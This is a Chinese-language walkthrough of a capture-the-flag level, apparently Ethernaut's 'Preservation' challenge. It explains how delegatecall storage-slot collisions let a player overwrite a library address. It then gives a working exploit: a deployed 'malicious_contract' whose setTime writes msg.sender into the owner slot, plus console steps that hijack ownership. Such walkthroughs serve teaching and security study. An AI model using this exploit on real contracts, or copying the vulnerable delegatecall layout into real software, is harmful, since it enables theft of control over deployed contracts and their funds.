// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
玩家必須取得擁有者權限(Owner == player)
delegatecall 的基本觀念在之前的關卡已經有提到過了,如果不熟悉的讀者我強烈建議要先讀完 Day 9 的文章喔,相信讀完後會對 delegatecall 有初步的認識,而這次就採取另外一個方式來讓大家了解 delegatecall 的用法囉
await contract.timeZone1Library()
// '0x7Dc17e761933D24F4917EF373F6433d4a62fe3c5'
當使用者執行上述指令後,能夠查看於合約內變數 timeZone1Library 的內容
await contract.setFirstTime(1)
當使用者執行上述指令後,能夠操作合約內函數 setFirstTime 並且將 1 作為參數傳入函數,至此都是相當簡單的操作,不過若接著查看 timeZone1Library 後,會發現出現了些微的變化。
await contract.timeZone1Library()
// '0x0000000000000000000000000000000000000001'
會發現 timeZone1Library 變數內的數值盡然變成 1 了,而這也和我們剛剛執行函數時傳入的參數一致,那這是為甚麼呢 ? 別急我們再接著執行
await contract.setSecondTime(5555)
接著查看 timeZone1Library
await contract.timeZone1Library()
// '0x00000000000000000000000000000000000015B3'
await contract.timeZone2Library()
// '0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1'
這也和剛剛傳入的參數 5555 一致呢,可是為甚麼 timeZone2Library 卻沒有發生改變 ?,究竟是為何呢,看看下圖吧,
delegatecall 執行後會把目標合約的變數資料儲存回原合約,並且儲存方式將依照 Slot 的排序做儲存。
那麼相信大家就能夠了解為何執行 setFirstTime 和 setSecondTime 後只有 timeZone1Library 發生改變,而 timeZone2Library 卻和原本的資料一致。
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
function setTime(uint _time) public {
storedTime = _time;
}
由上述的先備知識能了解,我們能夠使用 setFirstTime 改變原合約的內容,並且改變的內容並非一無用之 slot 而是一個能夠呼叫函數的 合約地址,那麼相信通關的思路已經很明確了,首先需要更動 timeZone1Library 變數內值,能夠依靠 setFirstTime 將 Preservation 合約內即將呼叫的合約改為我們另外部署的惡意合約,爾後,我們將再次呼叫 setFirstTime,而這次 Preservation 將執行特別部署的惡意合約的 setTime 函數,我們將有機會在惡意合約內將原合約上的所有 slot 更動為惡意資料,其中當然包含 Owner。
首先請至測試網上部署另外撰寫之惡意合約
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract malicious_contract {
uint256 slot0;
uint256 slot1;
address slot2;
function setTime(uint _time) public {
slot0 = _time;
slot1 = _time;
slot2 = msg.sender;
}
}
並且取得該惡意合約之合約地址,將其做為參數執行 setFirstTime (如果剛剛在先備知識有測試過 delegatecall 的讀者可以選擇重新部署一個關卡合約,或是改為執行 setSecondTime 可以達到一樣的效果)
await contract.setSecondTime( Your contract address )
// await contract.setSecondTime('0x57a0922B98FF7b8a71F78563591336D670C47275')
於是 timeZone1Library 確實被修改為另外部署之惡意合約地址,接著就是執行 setFirstTime 來完成漂亮的 hack 吧
await contract.setFirstTime(1)
await contract.owner() == player
// true
(◔/‿\◔) (◔/‿\◔) (◔/‿\◔) (◔/‿\◔)